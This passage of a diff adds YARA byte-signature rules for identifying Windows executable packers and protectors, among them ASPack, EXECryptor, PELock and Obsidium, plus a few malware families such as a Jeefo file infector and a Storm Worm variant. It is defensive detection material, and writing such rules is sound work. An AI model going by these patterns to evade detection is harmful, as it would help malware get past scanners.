00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 6C 65 61 73 65 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 }
+
+	condition:
+			$a0 or $a1 or $a2
+	}
+	rule XPackv142
+	{
+	strings:
+			$a0 = { 72 ?? C3 8B DE 83 ?? ?? C1 ?? ?? 8C D8 03 C3 8E D8 8B DF 83 ?? ?? C1 ?? ?? 8C C0 03 C3 8E C0 C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule W32JeefoPEFileInfector
+	{
+	strings:
+			$a0 = { 55 89 E5 83 EC 08 83 C4 F4 6A 02 A1 C8 ?? ?? ?? FF D0 E8 ?? ?? ?? ?? C9 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeSplitter13SplitCryptMethodBillPrisonerTPOC
+	{
+	strings:
+			$a0 = { 15 10 05 23 14 56 57 57 48 12 0B 16 66 66 66 66 66 66 66 66 66 02 C7 56 66 66 66 ED 26 6A ED 26 6A ED 66 E3 A6 69 E2 39 64 66 66 ED 2E 56 E6 5F 0D 12 61 E6 5F 2D 12 64 8D 81 E6 1F 6A 55 12 64 8D B9 ED 26 7E A5 33 ED 8A 8D 69 21 03 12 36 14 09 05 27 02 02 14 03 15 15 27 ED 2B 6A ED 13 6E ED B8 65 10 5A EB 10 7E EB 10 06 ED 50 65 95 30 ED 10 46 65 95 55 B4 ED A0 ED 50 65 95 37 ED 2B 6A EB DF AB 76 26 66 3F DF 68 66 66 66 9A 95 C0 6D AF 13 64 }
+	$a1 = { E8 00 00 00 00 5D 81 ED 05 10 40 00 B9 ?? ?? ?? ?? 8D 85 1D 10 40 00 80 30 66 40 E2 FA 8F 98 67 66 66 ?? ?? ?? ?? ?? ?? ?? 66 }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule AntiDote12BetaDemoSISTeam
+	{
+	strings:
+			$a0 = { 68 69 D6 00 00 E8 C6 FD FF FF 68 69 D6 00 00 E8 BC FD FF FF 83 C4 08 E8 A4 FF FF FF 84 C0 74 2F 68 04 01 00 00 68 B0 21 60 00 6A 00 FF 15 08 10 60 00 E8 29 FF FF FF 50 68 88 10 60 00 68 78 10 60 00 68 B0 21 60 00 E8 A4 FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 90 90 90 90 90 90 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPackv211bAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 3D 04 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor224StrongbitSoftCompleteDevelopmenth1
+	{
+	strings:
+			$a0 = { E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor224StrongbitSoftCompleteDevelopmenth2
+	{
+	strings:
+			$a0 = { E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 ?? 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor224StrongbitSoftCompleteDevelopmenth3
+	{
+	strings:
+			$a0 = { 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ProActivateV10XTurboPowerSoftwareCompany
+	{
+	strings:
+			$a0 = { 55 8B EC B9 0E 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? ?? ?? ?? 90 90 90 90 90 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 83 C0 05 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0D 00 00 00 E8 85 E2 FF FF 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 7A 81 3D ?? ?? ?? ?? 43 52 43 33 75 6E 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 62 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 56 81 3D ?? ?? ?? ?? 43 52 43 33 75 4A 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 3E 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 32 81 3D ?? ?? ?? ?? 43 52 43 33 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PackMasterv10
+	{
+	strings:
+			$a0 = { 60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED D3 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 }
+	$a1 = { 60 E8 01 ?? ?? ?? E8 83 C4 04 E8 01 ?? ?? ?? E9 5D 81 ED D3 22 40 ?? E8 04 02 ?? ?? E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule DBPEv153
+	{
+	strings:
+			$a0 = { 9C 55 57 56 52 51 53 9C FA E8 ?? ?? ?? ?? 5D 81 ED 5B 53 40 ?? B0 ?? E8 ?? ?? ?? ?? 5E 83 C6 11 B9 27 ?? ?? ?? 30 06 46 49 75 FA }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FreeJoiner152Stubengine16GlOFF
+	{
+	strings:
+			$a0 = { E8 46 FD FF FF 50 E8 0C 00 00 00 FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASProtectv12AlexeySolodovnikovh1
+	{
+	strings:
+			$a0 = { 90 60 E8 1B 00 00 00 E9 FC 8D B5 0F 06 00 00 8B FE B9 97 00 00 00 AD 35 78 56 34 12 AB 49 75 F6 EB 04 5D 45 55 C3 E9 ?? ?? ?? 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule FSGv110EngdulekxtBorlandDelphiMicrosoftVisualCx
+	{
+	strings:
+			$a0 = { 1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PENightMare2Beta
+	{
+	strings:
+			$a0 = { 60 E9 ?? ?? ?? ?? EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule MinGWGCC3x
+	{
+	strings:
+			$a0 = { 55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? ?? E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? 55 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PIRITv15
+	{
+	strings:
+			$a0 = { B4 4D CD 21 E8 ?? ?? FD E8 ?? ?? B4 51 CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Reg2Exe224byJanVorel
+	{
+	strings:
+			$a0 = { 6A 00 E8 CF 20 00 00 A3 F4 45 40 00 E8 CB 20 00 00 6A 0A 50 6A 00 FF 35 F4 45 40 00 E8 07 00 00 00 50 E8 BB 20 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 F8 45 40 00 E8 06 19 00 00 83 C4 0C 8B 44 24 04 A3 FC 45 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 8C 20 00 00 A3 F8 45 40 00 E8 02 20 00 00 E8 32 1D 00 00 E8 20 19 00 00 E8 A3 16 00 00 68 01 00 00 00 68 38 46 40 00 68 00 00 00 00 8B 15 38 46 40 00 E8 71 4F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 4F 00 00 FF 35 48 41 40 00 B8 00 01 00 00 E8 9D 15 00 00 8D 0D 1C 46 40 00 5A E8 82 16 00 00 68 00 01 00 00 FF 35 1C 46 40 00 E8 24 20 00 00 A3 24 46 40 00 FF 35 48 41 40 00 FF 35 24 46 40 00 FF 35 1C 46 40 00 E8 DC 10 00 00 8D 0D 14 46 40 00 5A E8 4A 16 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SVKProtectorv13xEngPavolCerven
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ThinstallEmbedded2609Jitit
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 58 BB AD 19 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 1C 00 00 68 80 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXcrypterarchphaseNWC
+	{
+	strings:
+			$a0 = { BF ?? ?? ?? 00 81 FF ?? ?? ?? 00 74 10 81 2F ?? 00 00 00 83 C7 04 BB 05 ?? ?? 00 FF E3 BE ?? ?? ?? 00 FF E6 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule StarForceProtectionDriverProtectionTechnology
+	{
+	strings:
+			$a0 = { 57 68 ?? 0D 01 00 68 00 ?? ?? 00 E8 50 ?? FF FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FishPEV10Xhellfish
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00 ?? ?? ?? ?? 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 C0 00 00 40 39 00 00 ?? ?? ?? ?? 00 00 08 00 00 00 00 01 00 C8 06 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECrypter
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D EB 26 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElockv051
+	{
+	strings:
+			$a0 = { C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule LY_WGKXwwwszleyucom
+	{
+	strings:
+			$a0 = { 4D 79 46 75 6E 00 62 73 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ASProtect13321RegisteredAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 68 01 ?? ?? ?? E8 01 00 00 00 C3 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackV111ap0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtMicrosoftVisualC4xLCCWin321x
+	{
+	strings:
+			$a0 = { 2C 71 1B CA EB 01 2A EB 01 65 8D 35 80 ?? ?? 00 80 C9 84 80 C9 68 BB F4 00 00 00 EB 01 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule dePACKdeNULL
+	{
+	strings:
+			$a0 = { EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? 00 00 E8 ?? 00 00 00 }
+	$a1 = { EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? ?? 00 E8 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? D2 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptorv1401
+	{
+	strings:
+			$a0 = { E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakePELockNT204emadicius
+	{
+	strings:
+			$a0 = { EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 61 9D 83 C4 04 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule PELockNTv203
+	{
+	strings:
+			$a0 = { EB 02 C7 85 1E EB 03 CD 20 C7 9C EB 02 69 B1 60 EB 02 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Reg2Exe220221byJanVorel
+	{
+	strings:
+			$a0 = { 6A 00 E8 7D 12 00 00 A3 A0 44 40 00 E8 79 12 00 00 6A 0A 50 6A 00 FF 35 A0 44 40 00 E8 0F 00 00 00 50 E8 69 12 00 00 CC CC CC CC CC CC CC CC CC 68 2C 02 00 00 68 00 00 00 00 68 B0 44 40 00 E8 3A 12 00 00 83 C4 0C 8B 44 24 04 A3 B8 44 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 32 12 00 00 A3 B0 44 40 00 68 F4 01 00 00 68 BC 44 40 00 FF 35 B8 44 40 00 E8 1E 12 00 00 B8 BC 44 40 00 89 C1 8A 30 40 80 FE 5C 75 02 89 C1 80 FE 00 75 F1 C6 01 00 E8 EC 18 00 00 E8 28 16 00 00 E8 4A 12 00 00 68 00 FA 00 00 68 08 00 00 00 FF 35 B0 44 40 00 E8 E7 11 00 00 A3 B4 44 40 00 8B 15 D4 46 40 00 E8 65 0A 00 00 BB 00 00 10 00 B8 01 00 00 00 E8 72 0A 00 00 74 09 C7 00 01 00 00 00 83 C0 04 A3 D4 46 40 00 FF 35 B4 44 40 00 E8 26 05 00 00 8D 0D B8 46 40 00 5A E8 CF 0F 00 00 FF 35 B4 44 40 00 FF 35 B8 46 40 00 E8 EE 06 00 00 8D 0D B4 46 40 00 5A E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PELockNTv201
+	{
+	strings:
+			$a0 = { EB 03 CD 20 EB EB 01 EB 1E EB 01 EB EB 02 CD 20 9C EB 03 CD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PELockNTv204
+	{
+	strings:
+			$a0 = { EB ?? CD ?? ?? ?? ?? ?? CD ?? ?? ?? ?? ?? EB ?? EB ?? EB ?? EB ?? CD ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXFreakv01BorlandDelphiHMX0101
+	{
+	strings:
+			$a0 = { BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 }
+	$a1 = { BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 34 50 45 00 ?? ?? ?? 00 FF FF 00 00 ?? 24 ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 40 00 00 C0 00 00 ?? ?? ?? ?? 00 00 ?? 00 00 00 ?? 1E ?? 00 ?? F7 ?? 00 A6 4E 43 00 ?? 56 ?? 00 AD D1 42 00 ?? F7 ?? 00 A1 D2 42 00 ?? 56 ?? 00 0B 4D 43 00 ?? F7 ?? 00 ?? F7 ?? 00 ?? 56 ?? 00 ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? 77 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 77 ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium13017Obsidiumsoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Petite22c199899IanLuck
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PluginToExev101BoBBobSoft
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 29 C0 5D 81 ED C6 41 40 00 50 8F 85 71 40 40 00 50 FF 95 A5 41 40 00 89 85 6D 40 40 00 FF 95 A1 41 40 00 50 FF 95 B5 41 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 B9 41 40 00 89 85 75 40 40 00 EB 6C 6A 01 8F 85 71 40 40 00 6A 58 6A 40 FF 95 A9 41 40 00 89 85 69 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 A9 41 40 00 89 47 1C C7 07 58 00 00 00 C7 47 20 00 08 00 00 C7 47 18 01 00 00 00 C7 47 34 04 10 88 00 8D 8D B9 40 40 00 89 4F 0C 8D 8D DB 40 40 00 89 4F 30 FF B5 69 40 40 00 FF 95 95 41 40 00 FF 77 1C 8F 85 75 40 40 00 8B 9D 6D 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 75 40 40 00 6A 00 81 C3 ?? ?? 00 00 FF D3 83 C4 10 83 BD 71 40 40 00 00 74 10 FF 77 1C FF 95 AD 41 40 00 57 FF 95 AD 41 40 00 6A 00 FF 95 9D 41 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Enigmaprotector110unregistered
+	{
+	strings:
+			$a0 = { 60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89 }
+	$a1 = { 60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89 E9 51 0B C4 80 BC 7E 35 09 37 E7 C9 3D C9 45 C9 4D 74 92 BA E4 E9 24 6B DF 3E 0E 38 0C 49 10 27 80 51 A1 8E 3A A3 C8 AE 3B 1C 35 }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule Obsidium1341ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 C3 27 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WebCopsDLLLINKDataSecurity
+	{
+	strings:
+			$a0 = { A8 BE 58 DC D6 CC C4 63 4A 0F E0 02 BB CE F3 5C 50 23 FB 62 E7 3D 2B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01PackMaster10PEXCloneAnorganix
+	{
+	strings:
+			$a0 = { 60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv037v038BetaStripbaserelocationtableOptionDwing
+	{
+	strings:
+			$a0 = { 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule AHTeamEPProtector03fakeSVKP13xFEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 00 00 00 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule InstallShieldCustom
+	{
+	strings:
+			$a0 = { 55 8B EC 83 EC 44 56 FF 15 ?? ?? 41 00 8B F0 85 F6 75 08 6A FF FF 15 ?? ?? 41 00 8A 06 57 8B 3D ?? ?? 41 00 3C 22 75 1B 56 FF D7 8B F0 8A 06 3C 22 74 04 84 C0 75 F1 80 3E 22 75 15 56 FF D7 8B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Petitevafterv14
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 66 9C 60 50 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeToolsv21EncruptorbyDISMEMBER
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5D 83 ?? ?? 1E 8C DA 83 ?? ?? 8E DA 8E C2 BB ?? ?? BA ?? ?? 85 D2 74 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NTkrnlSecureSuiteNTkrnlteam
+	{
+	strings:
+			$a0 = { 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PESpinv0b
+	{
+	strings:
+			$a0 = { EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VXTibsZhelatinStormWormvariant
+	{
+	strings:
+			$a0 = { FF 74 24 1C 58 8D 80 ?? ?? 77 04 50 68 62 34 35 04 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakePEX099emadicius
+	{
+	strings:
+			$a0 = { 60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED FF 22 40 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NSPack3xLiuXingPing
+	{
+	strings:
